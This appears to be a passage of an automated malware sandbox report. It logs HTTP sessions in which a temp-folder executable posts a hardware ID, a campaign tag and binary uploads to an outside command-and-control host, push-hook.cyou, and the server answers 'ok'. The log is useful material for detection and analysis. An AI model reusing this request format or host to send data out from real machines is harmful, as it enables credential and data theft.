1	192.168.2.4	49777	104.21.10.6	443	7580	C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:24:17 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 46 Host: push-hook.cyou
2024-11-24 13:24:17 UTC	46	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 74 65 73 74 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=FATE99--test&j=
2024-11-24 13:24:18 UTC	1011	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:24:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u3d1m6in41bkqcc109rp6kfm95; expires=Thu, 20-Mar-2025 07:10:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hYPWuZembsoHJBT0DTTwmtRyRizEnsjPrEJJJTQdp%2B4rcb04hyHVSyJuAwRF8%2FLVsQhrbAV3gEWvXPACGQYpEMvoD8fms42KooSt3x5Z7%2B7Xp5kN2PjmBXD0kW8iDYOBww%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79b7edbbc141ec-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1530&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=944&delivery_rate=1834170&cwnd=221&unsent_bytes=0&cid=12d74c9b923f57c2&ts=754&x=0"
2024-11-24 13:24:18 UTC	358	IN	Data Raw: 34 64 63 0d 0a 31 75 52 51 32 46 2b 4f 48 4b 63 6c 75 38 39 34 43 75 35 35 70 4a 55 58 7a 42 30 32 46 74 48 43 39 71 31 34 73 55 44 35 58 38 47 74 78 69 62 36 5a 62 6f 77 68 56 62 65 37 55 4a 2b 6e 41 7a 42 75 54 57 74 65 52 51 73 74 36 4f 61 33 68 32 64 59 6f 38 79 34 2b 79 43 4d 62 51 73 36 7a 43 46 51 4d 50 74 51 6c 47 56 57 38 48 37 4e 66 59 2f 55 33 79 7a 6f 35 72 50 47 64 6f 76 69 54 4f 69 76 6f 67 33 73 44 72 74 65 4d 5a 4a 31 71 6f 64 62 34 38 54 79 76 78 36 70 48 41 55 4f 76 4f 6e 6a 49 39 43 6b 77 32 63 4b 36 43 62 68 53 4f 7a 66 66 4d 77 33 41 66 65 6f 56 6f 77 7a 42 6a 42 39 33 75 71 65 56 31 2b 75 61 71 53 7a 68 7a 62 4d 4a 41 35 71 62 36 47 4e 4c 45 77 35 47 7a 4c 51 39 47 68 47 32 57 50 57 34 69 33 63 72 59 2f 44 44 54 67 6b 70 66 65 43 38 Data Ascii: 4dc1uRQ2F+OHKclu894Cu55pJUXzB02FtHC9q14sUD5X8Gtxib6ZbowhVbe7UJ+nAzBuTWteRQst6Oa3h2dYo8y4+yCMbQs6zCFQMPtQlGVW8H7NfY/U3yzo5rPGdoviTOivog3sDrteMZJ1qodb48Tyvx6pHAUOvOnjI9Ckw2cK6CbhSOzffMw3AfeoVowzBjB93uqeV1+uaqSzhzbMJA5qb6GNLEw5GzLQ9GhG2WPW4i3crY/DDTgkpfeC8
2024-11-24 13:24:18 UTC	893	IN	Data Raw: 39 4b 6d 48 33 71 48 45 73 76 36 64 61 4e 31 57 33 65 7a 70 35 37 46 46 64 6b 6d 6c 6a 43 6c 74 49 5a 79 39 48 33 72 5a 6f 55 66 6d 59 34 66 65 49 73 58 30 4c 56 50 37 6d 41 61 62 66 4f 6e 6d 49 39 43 6b 79 71 65 50 71 43 2f 69 54 47 79 4e 76 35 2b 31 30 48 55 71 41 68 75 69 52 58 4d 39 47 65 6b 63 56 4a 33 75 71 75 64 79 68 33 58 59 74 56 39 70 4b 7a 47 61 76 6f 63 34 58 58 4a 54 63 36 74 57 6e 66 43 41 6f 62 77 65 65 34 6e 46 48 43 79 70 4a 58 4c 46 4e 30 6d 6c 7a 75 74 75 59 6b 30 73 44 33 72 64 4d 31 50 32 4b 41 52 5a 34 77 65 79 2f 4e 7a 6f 6e 35 52 4e 50 33 67 6b 39 64 61 69 32 4b 31 4f 71 43 6d 78 41 65 35 4d 2b 4a 35 30 77 66 47 34 77 4d 6f 69 78 65 47 72 7a 57 67 65 6c 74 6d 73 72 4b 52 77 51 6a 66 4a 35 30 77 6f 4c 71 47 4e 37 30 77 34 6e 6a 43 Data Ascii: 9KmH3qHEsv6daN1W3ezp57FFdkmljCltIZy9H3rZoUfmY4feIsX0LVP7mAabfOnmI9CkyqePqC/iTGyNv5+10HUqAhuiRXM9GekcVJ3uqudyh3XYtV9pKzGavoc4XXJTc6tWnfCAobwee4nFHCypJXLFN0mlzutuYk0sD3rdM1P2KARZ4wey/Nzon5RNP3gk9dai2K1OqCmxAe5M+J50wfG4wMoixeGrzWgeltmsrKRwQjfJ50woLqGN70w4njC
2024-11-24 13:24:18 UTC	1369	IN	Data Raw: 33 66 39 30 0d 0a 34 58 48 4d 54 74 43 2f 45 47 53 43 43 63 76 39 63 4b 42 7a 55 58 75 7a 6f 5a 58 42 45 4e 68 69 31 58 32 6b 72 4d 5a 71 2b 68 4c 68 62 74 64 4e 30 72 78 59 58 59 38 56 79 50 42 6a 37 6d 41 61 62 66 4f 6e 6d 49 39 43 6b 79 6d 64 4d 61 2b 30 67 43 43 30 4d 76 35 30 31 30 50 58 71 52 5a 6d 68 52 62 4a 38 6d 65 71 66 30 5a 31 74 71 65 61 77 67 6a 57 59 74 56 39 70 4b 7a 47 61 76 6f 48 32 48 6e 56 56 74 37 76 4c 32 75 43 46 63 48 68 4e 62 45 78 54 54 53 30 72 4e 53 58 57 74 41 75 6c 6a 53 6d 75 35 51 34 74 6a 7a 2b 65 63 78 4f 30 36 77 55 5a 34 63 58 77 2b 56 2b 6f 58 64 62 64 62 36 74 6e 38 73 61 6b 32 7a 62 4f 72 76 30 33 6e 4b 62 4d 4f 4e 73 78 6c 61 62 6d 42 6c 6d 67 68 7a 51 74 32 72 67 5a 68 52 7a 76 2b 44 4d 6a 78 76 66 4c 70 6f 79 70 Data Ascii: 3f904XHMTtC/EGSCCcv9cKBzUXuzoZXBENhi1X2krMZq+hLhbtdN0rxYXY8VyPBj7mAabfOnmI9CkymdMa+0gCC0Mv5010PXqRZmhRbJ8meqf0Z1tqeawgjWYtV9pKzGavoH2HnVVt7vL2uCFcHhNbExTTS0rNSXWtAuljSmu5Q4tjz+ecxO06wUZ4cXw+V+oXdbdb6tn8sak2zbOrv03nKbMONsxlabmBlmghzQt2rgZhRzv+DMjxvfLpoyp
2024-11-24 13:24:18 UTC	1369	IN	Data Raw: 78 4e 75 68 36 78 55 72 53 6f 78 52 68 67 42 50 4b 38 47 65 6a 65 6c 78 2b 75 71 57 59 77 68 6e 42 49 5a 70 39 37 66 53 42 4b 76 70 6c 72 46 6e 32 63 50 72 74 42 53 61 56 57 38 48 37 4e 66 59 2f 56 58 79 30 72 70 44 64 46 4d 45 73 6e 44 32 6c 76 49 34 31 74 6a 50 69 62 4d 31 47 32 61 4d 56 59 49 55 66 78 2f 4e 78 6f 6e 67 55 4f 76 4f 6e 6a 49 39 43 6b 77 71 59 4a 37 6e 32 71 44 6d 36 4f 76 78 6f 33 67 66 47 34 77 4d 6f 69 78 65 47 72 7a 57 71 64 46 35 39 73 4b 6d 51 77 68 72 61 4c 5a 49 31 72 72 79 55 4d 37 41 76 36 48 76 45 53 4e 4f 70 45 6d 53 44 46 38 4c 6c 66 75 34 78 46 48 4f 72 34 4d 79 50 4f 74 67 30 75 43 2b 78 39 4a 6c 38 6f 33 33 72 63 6f 55 66 6d 61 51 57 61 59 30 52 77 50 78 77 6f 33 39 52 66 72 53 73 6c 4d 38 5a 31 53 53 57 4e 61 75 34 69 6a Data Ascii: xNuh6xUrSoxRhgBPK8Gejelx+uqWYwhnBIZp97fSBKvplrFn2cPrtBSaVW8H7NfY/VXy0rpDdFMEsnD2lvI41tjPibM1G2aMVYIUfx/NxongUOvOnjI9CkwqYJ7n2qDm6Ovxo3gfG4wMoixeGrzWqdF59sKmQwhraLZI1rryUM7Av6HvESNOpEmSDF8Llfu4xFHOr4MyPOtg0uC+x9Jl8o33rcoUfmaQWaY0RwPxwo39RfrSslM8Z1SSWNau4ij
2024-11-24 13:24:18 UTC	1369	IN	Data Raw: 64 73 35 42 31 36 77 63 5a 49 46 62 69 4c 64 79 74 6a 38 4d 4e 4a 53 36 6d 63 6b 4e 77 68 65 63 50 66 4c 30 6d 58 79 6a 66 65 74 79 68 52 2b 5a 6f 42 5a 69 67 52 37 43 2f 33 4b 74 66 6c 68 77 76 71 32 51 78 68 37 57 4d 49 6b 37 72 62 53 4a 50 4c 55 78 2f 6e 44 41 52 39 58 74 56 43 69 4c 41 34 61 76 4e 5a 39 6f 56 44 53 73 37 6f 32 50 48 64 39 69 77 33 32 73 75 5a 51 2b 74 54 33 74 66 63 46 4d 33 71 73 63 61 59 38 65 78 66 4a 7a 72 33 39 59 66 72 53 6f 6e 73 45 58 31 53 61 64 4f 2b 50 36 78 6a 57 69 66 62 51 2b 39 30 72 58 70 42 6c 75 67 51 33 75 78 6a 57 78 4d 55 30 30 74 4b 7a 55 6c 31 72 58 4b 5a 4d 78 70 72 79 44 4d 37 49 33 35 48 48 4b 56 64 69 69 45 32 2b 48 46 73 6e 35 63 4b 42 74 55 33 2b 34 71 4a 33 42 48 4a 4e 73 32 7a 71 37 39 4e 35 79 6a 44 37 Data Ascii: ds5B16wcZIFbiLdytj8MNJS6mckNwhecPfL0mXyjfetyhR+ZoBZigR7C/3Ktflhwvq2Qxh7WMIk7rbSJPLUx/nDAR9XtVCiLA4avNZ9oVDSs7o2PHd9iw32suZQ+tT3tfcFM3qscaY8exfJzr39YfrSonsEX1SadO+P6xjWifbQ+90rXpBlugQ3uxjWxMU00tKzUl1rXKZMxpryDM7I35HHKVdiiE2+HFsn5cKBtU3+4qJ3BHJNs2zq79N5yjD7
2024-11-24 13:24:18 UTC	1369	IN	Data Raw: 39 32 6a 43 47 6d 44 57 34 69 33 63 72 59 2f 44 44 53 43 74 70 50 49 46 5a 45 4c 6e 43 61 69 76 6f 55 35 74 6e 33 7a 4d 4e 77 48 33 71 46 61 4d 4d 77 57 79 76 70 78 76 48 4e 55 64 4c 71 6e 6e 74 30 56 33 43 2b 59 50 61 61 6d 68 79 43 31 4e 75 6c 39 77 55 6a 57 6f 52 4a 69 7a 46 57 47 38 47 33 75 4a 78 52 59 73 4c 47 65 6a 54 33 4a 4e 4a 77 78 73 72 2b 4c 50 76 6f 69 6f 6d 65 46 51 4e 58 74 51 69 69 4d 47 73 76 6c 63 4b 39 31 58 6e 6d 37 72 35 48 4b 46 64 63 6d 6b 44 4f 78 75 6f 6b 79 76 44 62 74 65 38 5a 4d 30 36 4d 54 65 73 78 56 68 76 42 74 37 69 63 55 58 71 69 68 6d 63 4e 59 2f 53 6d 4e 4f 75 47 56 69 44 6d 39 4d 66 6f 2b 32 67 6e 41 37 52 31 6b 7a 45 4f 47 2f 6e 75 69 66 46 4e 38 75 36 57 55 78 42 72 63 4b 4a 55 36 73 62 36 4b 4f 4b 67 79 37 33 50 42 Data Ascii: 92jCGmDW4i3crY/DDSCtpPIFZELnCaivoU5tn3zMNwH3qFaMMwWyvpxvHNUdLqnnt0V3C+YPaamhyC1Nul9wUjWoRJizFWG8G3uJxRYsLGejT3JNJwxsr+LPvoiomeFQNXtQiiMGsvlcK91Xnm7r5HKFdcmkDOxuokyvDbte8ZM06MTesxVhvBt7icUXqihmcNY/SmNOuGViDm9Mfo+2gnA7R1kzEOG/nuifFN8u6WUxBrcKJU6sb6KOKgy73PB
2024-11-24 13:24:18 UTC	1369	IN	Data Raw: 4d 6f 69 78 65 47 72 7a 57 75 65 31 68 33 74 4b 36 62 77 68 58 55 4b 5a 51 33 72 61 61 4a 4e 37 49 78 35 48 50 58 54 64 4f 2f 45 32 47 42 46 63 37 6c 64 75 34 78 46 48 4f 72 34 4d 79 50 4b 4e 6b 68 6c 79 75 75 75 38 59 74 39 43 53 73 65 63 6b 48 67 65 30 49 65 6f 77 51 78 76 42 37 76 48 35 63 65 37 6d 67 6b 73 51 51 30 43 75 66 4d 36 71 79 68 7a 2b 37 50 4f 78 37 78 55 37 4c 6f 46 6f 6d 7a 42 7a 65 74 79 33 75 53 46 68 2f 67 71 4f 43 6a 77 57 64 4f 39 73 36 72 2f 54 65 63 72 73 76 34 58 62 42 52 39 53 72 45 57 6d 4e 47 4d 62 33 64 71 35 36 58 33 75 31 70 35 6e 46 45 39 6f 77 6b 7a 6d 78 74 49 6f 32 2b 6e 4f 73 65 64 30 48 67 65 30 71 61 34 63 58 78 76 70 67 37 6d 41 61 62 66 4f 6e 6d 49 39 43 6b 79 71 51 4e 71 57 2f 68 54 47 30 4e 75 5a 78 79 6b 33 66 71 Data Ascii: MoixeGrzWue1h3tK6bwhXUKZQ3raaJN7Ix5HPXTdO/E2GBFc7ldu4xFHOr4MyPKNkhlyuuu8Yt9CSseckHge0IeowQxvB7vH5ce7mgksQQ0CufM6qyhz+7POx7xU7LoFomzBzety3uSFh/gqOCjwWdO9s6r/Tecrsv4XbBR9SrEWmNGMb3dq56X3u1p5nFE9owkzmxtIo2+nOsed0Hge0qa4cXxvpg7mAabfOnmI9CkyqQNqW/hTG0NuZxyk3fq
2024-11-24 13:24:18 UTC	1369	IN	Data Raw: 57 7a 66 73 33 72 33 4a 45 63 2f 50 75 31 4d 6c 61 69 33 4c 56 66 61 65 6c 78 6d 72 71 62 37 63 72 6c 68 43 4a 2f 77 55 6d 6c 56 76 51 74 79 33 38 4d 52 52 6d 38 2f 6a 55 69 42 6e 42 4d 4a 30 2b 74 62 66 42 44 49 51 64 35 33 4c 47 53 39 69 71 57 69 62 4d 46 49 61 76 54 4f 35 38 52 6d 62 38 73 59 4c 43 43 74 52 75 6b 79 79 75 75 4d 5a 38 2b 6e 48 6f 64 63 6c 43 33 72 31 56 65 70 77 51 79 75 45 35 71 6d 30 55 4f 76 4f 78 6e 38 41 49 33 53 58 55 4c 4c 57 35 6c 6a 47 2f 4f 71 42 32 31 45 72 56 37 56 51 6f 6d 52 44 4b 38 58 69 37 4d 45 56 69 73 4c 61 54 67 78 4c 43 4c 35 64 39 6e 50 72 47 4b 76 70 6c 72 45 76 47 53 64 65 71 44 48 6e 42 4f 38 33 37 64 71 4a 2b 55 7a 54 39 34 4a 4b 50 51 6f 42 73 32 7a 6d 79 39 4e 35 69 36 47 61 35 4c 5a 49 58 69 37 4a 55 63 63 Data Ascii: Wzfs3r3JEc/Pu1Mlai3LVfaelxmrqb7crlhCJ/wUmlVvQty38MRRm8/jUiBnBMJ0+tbfBDIQd53LGS9iqWibMFIavTO58Rmb8sYLCCtRukyyuuMZ8+nHodclC3r1VepwQyuE5qm0UOvOxn8AI3SXULLW5ljG/OqB21ErV7VQomRDK8Xi7MEVisLaTgxLCL5d9nPrGKvplrEvGSdeqDHnBO837dqJ+UzT94JKPQoBs2zmy9N5i6Ga5LZIXi7JUcc
2024-11-24 13:24:18 UTC	1369	IN	Data Raw: 4c 66 30 78 46 47 62 7a 2b 4e 53 49 46 4e 34 6a 6d 44 4f 67 70 70 51 30 75 53 76 76 4f 66 74 35 2f 4b 41 58 62 59 49 63 2b 4d 6c 55 70 47 39 5a 65 37 53 65 71 76 67 4c 31 44 4c 5a 47 36 43 69 68 58 4c 30 66 66 51 2b 6e 51 66 34 70 77 70 6c 67 78 79 47 75 54 57 71 50 77 77 30 6c 71 32 5a 79 68 54 55 59 4c 6f 33 73 37 6d 4a 4e 66 70 7a 72 48 4b 46 48 35 6d 73 45 48 69 42 46 4d 47 37 63 72 52 34 46 44 72 7a 72 74 53 58 57 74 49 6f 69 7a 43 73 73 38 6f 30 74 44 4f 73 59 59 74 65 6d 62 74 61 4d 4e 39 56 68 75 55 31 39 6a 38 54 65 72 36 68 6c 38 45 5a 77 54 43 64 50 72 57 33 77 51 79 45 47 4f 46 7a 77 45 6e 65 6b 79 52 4a 68 67 76 4c 2b 48 4c 73 58 31 4e 69 73 4a 36 71 2b 41 76 55 4d 74 6b 62 6f 4b 4b 46 63 76 52 39 39 44 36 64 42 2f 69 6e 43 6d 57 44 48 49 54 Data Ascii: Lf0xFGbz+NSIFN4jmDOgppQ0uSvvOft5/KAXbYIc+MlUpG9Ze7SeqvgL1DLZG6CihXL0ffQ+nQf4pwplgxyGuTWqPww0lq2ZyhTUYLo3s7mJNfpzrHKFH5msEHiBFMG7crR4FDrzrtSXWtIoizCss8o0tDOsYYtembtaMN9VhuU19j8Ter6hl8EZwTCdPrW3wQyEGOFzwEnekyRJhgvL+HLsX1NisJ6q+AvUMtkboKKFcvR99D6dB/inCmWDHIT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49784	104.21.10.6	443	7580	C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:24:20 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IOSWR00SNJW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18120 Host: push-hook.cyou
2024-11-24 13:24:20 UTC	15331	OUT	Data Raw: 2d 2d 49 4f 53 57 52 30 30 53 4e 4a 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 32 42 30 45 36 37 43 45 44 32 42 37 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 49 4f 53 57 52 30 30 53 4e 4a 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 49 4f 53 57 52 30 30 53 4e 4a 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 49 4f 53 57 52 30 30 53 4e 4a 57 0d 0a 43 6f 6e 74 65 Data Ascii: --IOSWR00SNJWContent-Disposition: form-data; name="hwid"8E2B0E67CED2B7B7D7CBBD6DF28D3732--IOSWR00SNJWContent-Disposition: form-data; name="pid"2--IOSWR00SNJWContent-Disposition: form-data; name="lid"FATE99--test--IOSWR00SNJWConte
2024-11-24 13:24:20 UTC	2789	OUT	Data Raw: 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c Data Ascii: f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR
2024-11-24 13:24:22 UTC	1021	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:24:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lddo2b6nurh10868e9o2nike2h; expires=Thu, 20-Mar-2025 07:10:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3K621SFkoykq%2BMSqB2rebEKSzE6hVE%2FjzMtshn2q8bgz4AxUHng29c%2Bk%2FNaKn1CVFujMUOOR6q21iip925Hv%2B8aHUwmi%2FHRwapUxVzDN1RZWcID67mq5ZDa4FQYzYkK2qw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79b7fc8b9f7cea-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1837&sent=11&recv=21&lost=0&retrans=1&sent_bytes=4212&recv_bytes=19073&delivery_rate=137957&cwnd=226&unsent_bytes=0&cid=3c83978343f36f34&ts=2160&x=0"
2024-11-24 13:24:22 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 13:24:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49793	104.21.10.6	443	7580	C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:24:23 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KWB5IZTCJ8GL2WFV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8771 Host: push-hook.cyou
2024-11-24 13:24:23 UTC	8771	OUT	Data Raw: 2d 2d 4b 57 42 35 49 5a 54 43 4a 38 47 4c 32 57 46 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 32 42 30 45 36 37 43 45 44 32 42 37 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 4b 57 42 35 49 5a 54 43 4a 38 47 4c 32 57 46 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4b 57 42 35 49 5a 54 43 4a 38 47 4c 32 57 46 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 4b 57 42 Data Ascii: --KWB5IZTCJ8GL2WFVContent-Disposition: form-data; name="hwid"8E2B0E67CED2B7B7D7CBBD6DF28D3732--KWB5IZTCJ8GL2WFVContent-Disposition: form-data; name="pid"2--KWB5IZTCJ8GL2WFVContent-Disposition: form-data; name="lid"FATE99--test--KWB
2024-11-24 13:24:25 UTC	1020	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:24:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=veecjh7p6igft5ajc00556tq77; expires=Thu, 20-Mar-2025 07:11:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rRL04J60k36s4db%2FFOU2vPBIIEQjDZvG2%2BOdfUm4457HF6s9Rgq%2FfPuN9jxlwofvPXhLSX7fhfYb6WHz3gHtq4eUO5%2F%2Bd08HZqCIjourHI8DJMHqVF7ESfErSETiJ%2Fh8Cg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79b8120d504302-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1594&sent=8&recv=15&lost=0&retrans=0&sent_bytes=2837&recv_bytes=9706&delivery_rate=1800246&cwnd=252&unsent_bytes=0&cid=a2e8f4f27d682914&ts=1378&x=0"
2024-11-24 13:24:25 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 13:24:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49801	104.21.10.6	443	7580	C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:24:26 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RQFIXR4ONZVFIEF8I User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20430 Host: push-hook.cyou
2024-11-24 13:24:26 UTC	15331	OUT	Data Raw: 2d 2d 52 51 46 49 58 52 34 4f 4e 5a 56 46 49 45 46 38 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 32 42 30 45 36 37 43 45 44 32 42 37 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 52 51 46 49 58 52 34 4f 4e 5a 56 46 49 45 46 38 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 52 51 46 49 58 52 34 4f 4e 5a 56 46 49 45 46 38 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d Data Ascii: --RQFIXR4ONZVFIEF8IContent-Disposition: form-data; name="hwid"8E2B0E67CED2B7B7D7CBBD6DF28D3732--RQFIXR4ONZVFIEF8IContent-Disposition: form-data; name="pid"3--RQFIXR4ONZVFIEF8IContent-Disposition: form-data; name="lid"FATE99--test--
2024-11-24 13:24:26 UTC	5099	OUT	Data Raw: 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
